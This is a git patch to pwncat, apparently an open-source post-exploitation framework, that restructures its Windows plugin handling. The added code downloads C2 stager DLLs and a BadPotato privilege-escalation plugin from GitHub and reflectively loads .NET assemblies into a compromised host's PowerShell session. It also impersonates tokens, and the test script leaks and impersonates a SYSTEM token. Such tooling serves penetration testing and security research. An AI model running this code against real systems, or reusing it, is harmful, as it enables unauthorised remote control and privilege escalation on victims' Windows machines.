From ac74c3d013bf12584d8fa9714f7a3e47aeef27a6 Mon Sep 17 00:00:00 2001 From: Caleb Stewart Date: Sat, 12 Jun 2021 03:10:14 -0400 Subject: [PATCH] Cleaned up plugin system - Added builtin plugin resolver - Rolled base c2 dlls into plugin resolver - Changed plugin location configuration from `windows_c2_dir` to `plugin_path` --- pwncat/commands/run.py | 12 +- pwncat/config.py | 11 +- pwncat/db.py | 1 + pwncat/facts/windows.py | 2 + pwncat/manager.py | 2 +- pwncat/modules/__init__.py | 3 + .../windows/enumerate/user/__init__.py | 45 ++++ pwncat/platform/__init__.py | 2 +- pwncat/platform/windows.py | 198 +++++++++++++++++- test.py | 34 ++- 10 files changed, 290 insertions(+), 20 deletions(-) diff --git a/pwncat/commands/run.py b/pwncat/commands/run.py index 87ba615..0dc4e38 100644 --- a/pwncat/commands/run.py +++ b/pwncat/commands/run.py @@ -4,12 +4,7 @@ import textwrap import pwncat import pwncat.modules from pwncat.util import console -from pwncat.commands import ( - Complete, - Parameter, - CommandDefinition, - get_module_choices, -) +from pwncat.commands import Complete, Parameter, CommandDefinition, get_module_choices class Command(CommandDefinition): @@ -92,6 +87,11 @@ class Command(CommandDefinition): console.log(f"[red]error[/red]: invalid argument: {exc}") return + if isinstance(result, list): + result = [r for r in result if not r.hidden] + elif result.hidden: + result = None + if args.raw: console.print(result) else: diff --git a/pwncat/config.py b/pwncat/config.py index a5aed07..a9184c3 100644 --- a/pwncat/config.py +++ b/pwncat/config.py @@ -27,8 +27,10 @@ import ipaddress from typing import Any, Dict, List, Union from prompt_toolkit.keys import ALL_KEYS, Keys -from prompt_toolkit.input.ansi_escape_sequences import (ANSI_SEQUENCES, - REVERSE_ANSI_SEQUENCES) +from prompt_toolkit.input.ansi_escape_sequences import ( + ANSI_SEQUENCES, + REVERSE_ANSI_SEQUENCES, +) from pwncat.modules import BaseModule @@ -72,6 +74,9 @@ def local_file_type(value: str) -> str: def local_dir_type(value: str) -> str: """ Ensure the path specifies a local directory """ + # Expand ~ in the path + value = os.path.expanduser(value) + if not os.path.isdir(value): raise ValueError(f"{value}: no such file or directory") return value @@ -109,7 +114,7 @@ class Config: "cross": {"value": None, "type": str}, "psmodules": {"value": ".", "type": local_dir_type}, "verbose": {"value": False, "type": bool_type}, - "windows_c2_dir": { + "plugin_path": { "value": "~/.local/share/pwncat", "type": local_dir_type, }, diff --git a/pwncat/db.py b/pwncat/db.py index 8486d8b..9541c92 100644 --- a/pwncat/db.py +++ b/pwncat/db.py @@ -43,6 +43,7 @@ class Fact(Result, persistent.Persistent): self.types: PersistentList = types # The original procedure that found this fact self.source: str = source + self.hidden: bool = False def __eq__(self, o): """This is probably a horrible idea. diff --git a/pwncat/facts/windows.py b/pwncat/facts/windows.py index 3070970..124ec80 100644 --- a/pwncat/facts/windows.py +++ b/pwncat/facts/windows.py @@ -62,6 +62,7 @@ class WindowsUser(User): principal_source: str, password: Optional[str] = None, hash: Optional[str] = None, + well_known: bool = False, ): super().__init__( source=source, name=name, uid=uid, password=password, hash=hash @@ -78,6 +79,7 @@ class WindowsUser(User): self.password_last_set: Optional[datetime] = password_last_set self.last_logon: Optional[datetime] = last_logon self.principal_source: str = principal_source + self.hidden: bool = well_known def __repr__(self): if self.password is None and self.hash is None: diff --git a/pwncat/manager.py b/pwncat/manager.py index f580d6a..b5df6e5 100644 --- a/pwncat/manager.py +++ b/pwncat/manager.py @@ -257,7 +257,7 @@ class Session: try: # Ensure this bar is started if we are the selected # target. - if self.manager.target == self and not started: + if not started: self._progress = rich.progress.Progress( "{task.fields[platform]}", "•", diff --git a/pwncat/modules/__init__.py b/pwncat/modules/__init__.py index 8b57f07..aa0dd0b 100644 --- a/pwncat/modules/__init__.py +++ b/pwncat/modules/__init__.py @@ -136,6 +136,9 @@ class Result: :func:`category` method helps when organizing output with the ``run`` command.""" + hidden: bool = False + """ Hide results from automatic display with the ``run`` command """ + def category(self, session) -> str: """Return a "category" of object. Categories will be grouped. If this returns None or is not defined, this result will be "uncategorized" diff --git a/pwncat/modules/windows/enumerate/user/__init__.py b/pwncat/modules/windows/enumerate/user/__init__.py index c1c33f7..ce12111 100644 --- a/pwncat/modules/windows/enumerate/user/__init__.py +++ b/pwncat/modules/windows/enumerate/user/__init__.py @@ -41,3 +41,48 @@ class Module(EnumerateModule): last_logon=None, principal_source=user["PrincipalSource"], ) + + well_known = { + "S-1-0-0": "NULL AUTHORITY\\NOBODY", + "S-1-1-0": "WORLD AUTHORITY\\Everyone", + "S-1-2-0": "LOCAL AUTHORITY\\Local", + "S-1-3-0": "CREATOR AUTHORITY\\Creator Owner", + "S-1-3-1": "CREATOR AUTHORITY\\Creator Group", + "S-1-3-4": "CREATOR AUTHORITY\\Owner Rights", + "S-1-4": "NONUNIQUE AUTHORITY", + "S-1-5-1": "NT AUTHORITY\\DIALUP", + "S-1-5-2": "NT AUTHORITY\\NETWORK", + "S-1-5-3": "NT AUTHORITY\\BATCH", + "S-1-5-4": "NT AUTHORITY\\INTERACTIVE", + "S-1-5-6": "NT AUTHORITY\\SERVICE", + "S-1-5-7": "NT AUTHORITY\\ANONYMOUS", + "S-1-5-9": "NT AUTHORITY\\ENTERPRISE DOMAIN CONTROLLERS", + "S-1-5-10": "NT AUTHORITY\\PRINCIPAL SELF", + "S-1-5-11": "NT AUTHORITY\\AUTHENTICATED USERS", + "S-1-5-12": "NT AUTHORITY\\RESTRICTED CODE", + "S-1-5-13": "NT AUTHORITY\\TERMINAL SERVER USERS", + "S-1-5-14": "NT AUTHORITY\\REMOTE INTERACTIVE LOGON", + "S-1-5-17": "NT AUTHORITY\\IUSR", + "S-1-5-18": "NT AUTHORITY\\SYSTEM", + "S-1-5-19": "NT AUTHORITY\\LOCAL SERVICE", + "S-1-5-20": "NT AUTHORITY\\NETWORK SERVICE", + } + + for sid, name in well_known.items(): + yield WindowsUser( + source=self.name, + name=name, + uid=sid, + account_expires=None, + description=None, + enabled=True, + full_name=name, + password_changeable_date=None, + password_expires=None, + user_may_change_password=None, + password_required=None, + password_last_set=None, + last_logon=None, + principal_source="well known sid", + well_known=True, + ) diff --git a/pwncat/platform/__init__.py b/pwncat/platform/__init__.py index 671a0ea..d07aa7a 100644 --- a/pwncat/platform/__init__.py +++ b/pwncat/platform/__init__.py @@ -301,7 +301,7 @@ class Path: """Open the file pointed to by the path, like Platform.open""" return self._target.open( - self, + str(self), mode=mode, buffering=buffering, encoding=encoding, diff --git a/pwncat/platform/windows.py b/pwncat/platform/windows.py index 802b256..80660da 100644 --- a/pwncat/platform/windows.py +++ b/pwncat/platform/windows.py @@ -22,12 +22,14 @@ import time import base64 import shutil import signal +import hashlib import pathlib import tarfile import termios import binascii import readline import textwrap +import functools import subprocess from io import ( BytesIO, @@ -50,7 +52,7 @@ import pwncat.subprocess from pwncat.platform import Path, Platform, PlatformError INTERACTIVE_END_MARKER = b"INTERACTIVE_COMPLETE\r\n" -PWNCAT_WINDOWS_C2_VERSION = "v0.2.0" +PWNCAT_WINDOWS_C2_VERSION = "v0.2.1" PWNCAT_WINDOWS_C2_RELEASE_URL = "https://github.com/calebstewart/pwncat-windows-c2/releases/download/{version}/pwncat-windows-{version}.tar.gz" @@ -180,7 +182,7 @@ class WindowsFile(RawIOBase): try: result = self.platform.run_method( - "File", "write", self.handle, base64.b64encode(data) + "File", "write", self.handle, base64.b64encode(data).decode("utf-8") ) except ProtocolError as exc: # ERROR_BROKEN_PIPE @@ -194,6 +196,43 @@ class WindowsFile(RawIOBase): return nwritten +class DotNetPlugin(object): + """Represents a reflectively loaded .Net plugin within the remote C2 + This class is a helper which makes calling methods within a plugin + more straightforward. If you want to call a method named ``get_system`` + you can use one of two syntaxes: + + .. code-block:: python + + plugin.run("get_system", "arguments", 1, 2, False) + plugin.get_system("arguments", 1, 2, False) + + :param name: basename of the file which was loaded + :type name: str + :param checksum: md5sum of the assembly + :type checksum: str + :param ident: identifier for the remote assembly + :type ident: int + """ + + def __init__(self, platform: "Windows", name: str, checksum: str, ident: int): + + self.names = [name] + self.checksum = checksum + self.ident = ident + self.platform = platform + + def __getattr__(self, key: str): + """Shortcut for calling a method. ``plugin.method()`` is equivalent + to ``plugin.run("method")``.""" + return functools.partial(self.run, key) + + def run(self, method: str, *args): + """ Execute a method within the plugin """ + + return self.platform.run_method("Reflection", "call", self.ident, method, args) + + class PopenWindows(pwncat.subprocess.Popen): """ Windows-specific Popen wrapper class @@ -381,6 +420,20 @@ class PopenWindows(pwncat.subprocess.Popen): return (stdout, stderr) +@dataclass +class BuiltinPluginInfo: + """ Tells pwncat where to find a builtin plugin """ + + name: str + """ A friendly name used when loading the plugin """ + provides: List[str] + """ List of DLL names which this plugin provides """ + url: str + """ URL pointing to a tar.gz file containing the plugin DLL(s) """ + version: str + """ The version number to download (this is formatted into the URL) """ + + class Windows(Platform): """Concrete platform class abstracting interaction with a Windows/ Powershell remote host. The remote windows host must support @@ -389,6 +442,70 @@ class Windows(Platform): name = "windows" PATH_TYPE = pathlib.PureWindowsPath + C2_VERSION = "v0.2.1" + PLUGIN_INFO = [ + BuiltinPluginInfo( + name="windows-c2", + provides=["stageone.dll", "stagetwo.dll"], + url="https://github.com/calebstewart/pwncat-windows-c2/releases/download/{version}/pwncat-windows-{version}.tar.gz", + version="v0.2.1", + ), + BuiltinPluginInfo( + name="badpotato", + provides=["BadPotato.dll"], + url="https://github.com/calebstewart/pwncat-badpotato/releases/download/{version}/pwncat-badpotato-{version}.tar.gz", + version="v0.0.1-alpha", + ), + ] + + def open_plugin(self, name: str) -> BytesIO: + """ + Open the given plugin DLL for reading and return an open file object. + If the given name matches a builtin plugin, it will be used. If a + builtin plugin is not available, it will be downloaded from it's URL + and saved in the provided plugin path. + + :param name: name of the plugin being requested + :type name: str + :param plugin_path: path to the directory to store plugins + :type plugin_path: str + :rtype: BytesIO + """ + + for plugin in self.PLUGIN_INFO: + if name in plugin.provides: + break + else: + return open(name, "rb") + + path = ( + pathlib.Path(self.session.config["plugin_path"]) + / plugin.name + / plugin.version + / name + ).expanduser() + if not path.exists(): + path.parent.mkdir(parents=True, exist_ok=True) + url = plugin.url.format(version=plugin.version) + + with self.session.task( + f"downloading {plugin.name}", status="grabbing archive" + ) as task: + with requests.get( + plugin.url.format(version=plugin.version), + stream=True, + ) as request: + data = request.raw.read() + with tarfile.open(mode="r:gz", fileobj=BytesIO(data)) as tar: + for provided in plugin.provides: + self.session.update_task( + task, status=f"extracting {provided}" + ) + with tar.extractfile(provided) as provided_filp: + with (path.parent / provided).open("wb") as output: + shutil.copyfileobj(provided_filp, output) + + return path.open("rb") def __init__( self, @@ -400,6 +517,7 @@ class Windows(Platform): super().__init__(session, channel, *args, **kwargs) self.name = "windows" + self.plugins = [] # Initialize interactive tracking self._interactive = False @@ -415,9 +533,6 @@ class Windows(Platform): # Tracks paths to modules which have been sideloaded into powershell self.psmodules = [] - # Ensure we have the C2 libraries downloaded - self._ensure_libs() - self._bootstrap_stage_two() self.refresh_uid() @@ -427,7 +542,6 @@ class Windows(Platform): # Load requested libraries # for library, methods in self.LIBRARY_IMPORTS.items(): # self._load_library(library, methods) - # def exit(self): """Ensure the C2 exits on the victim end. This is called automatically @@ -574,7 +688,8 @@ function prompt { ) # Read the loader - with stageone.open("rb") as filp: + # with stageone.open("rb") as filp: + with self.open_plugin("stageone.dll") as filp: loader_dll = base64.b64encode(filp.read()) # Extract first chunk @@ -657,7 +772,7 @@ function prompt { self.channel.recvuntil(b"\n") # Load, Compress and Encode stage two - with stagetwo.open("rb") as filp: + with self.open_plugin("stagetwo.dll") as filp: stagetwo_dll = filp.read() compressed = BytesIO() with gzip.GzipFile(fileobj=compressed, mode="wb") as gz: @@ -1343,3 +1458,70 @@ function prompt { raise PowershellError(exc.message) return [json.loads(x) for x in result["output"]] + + def impersonate(self, token: int): + """Impersonate a user token in the powershell and .net contexts. + + :param token: the user token to impersonate + :type token: int + """ + + try: + return self.run_method("Identity", "Impersonate", token) + except ProtocolError: + return False + + def revert_to_self(self): + """ Revert any impersonations and return to the original user """ + + return self.impersonate(0) + + def dotnet_load( + self, name: str, content: Optional[Union[bytes, BytesIO]] = None + ) -> DotNetPlugin: + """ + Reflectively load a .Net C2 plugin from the attacker machine. The + plugin DLL should implement the ``Plugin`` class and method interface. + + :param name: name or path to the DLL to upload + :type name: str + :param content: content of the DLL to load or file-like object, if not present on disk + :type content: Optional[Union[bytes, BytesIO]] + """ + + try: + plugin = [plugin for plugin in self.plugins if name in plugin.names][0] + return plugin + except IndexError: + pass + + if content is None: + with self.open_plugin(name) as filp: + content = filp.read() + + if not isinstance(content, bytes): + content = content.read() + + # Calculate the digest + checksum = hashlib.md5(content).hexdigest() + + # Ensure we haven't loaded the same plugin under another name + try: + plugin = [plugin for plugin in self.plugins if plugin.checksum == checksum][ + 0 + ] + plugin.names.append(name) + return plugin + except IndexError: + pass + + # Encode the assembly + assembly = base64.b64encode(content).decode("utf-8") + + # Load the assembly. Let protocol errors propogate + ident = self.run_method("Reflection", "load", assembly) + + plugin = DotNetPlugin(self, name, checksum, ident) + self.plugins.append(plugin) + + return plugin diff --git a/test.py b/test.py index fc120a0..1655448 100755 --- a/test.py +++ b/test.py @@ -20,4 +20,36 @@ with pwncat.manager.Manager("data/pwncatrc") as manager: # session = manager.create_session("linux", host="pwncat-ubuntu", port=4444) # session = manager.create_session("linux", host="127.0.0.1", port=4445) - print(session.platform.Path("./nonexistent.txt").resolve()) + # session.platform.powershell("amsiutils") + + try: + # Load the BadPotato plugin + session.log("leaking system token w/ BadPotato") + badpotato = session.platform.dotnet_load("BadPotato.dll") + + # Call the method within the DLL to leak a system token + system_token = badpotato.get_system_token() + session.log(f"found system token: {system_token}") + session.log("impersonating token...") + + # Impersonate the SYSTEM token + session.platform.impersonate(system_token) + + # Checkout our active user through powershell + result = session.platform.powershell( + "[System.Security.Principal.WindowsIdentity]::GetCurrent().Name" + ) + session.log(f"now running as: {result[0]}") + + session.platform.refresh_uid() + + session.log(session.platform.getuid()) + session.log(session.find_user(uid=session.platform.getuid())) + + except ( + pwncat.platform.windows.ProtocolError, + pwncat.platform.windows.PowershellError, + ) as exc: + session.log(f"badpotato failed: {exc}") + + manager.interactive()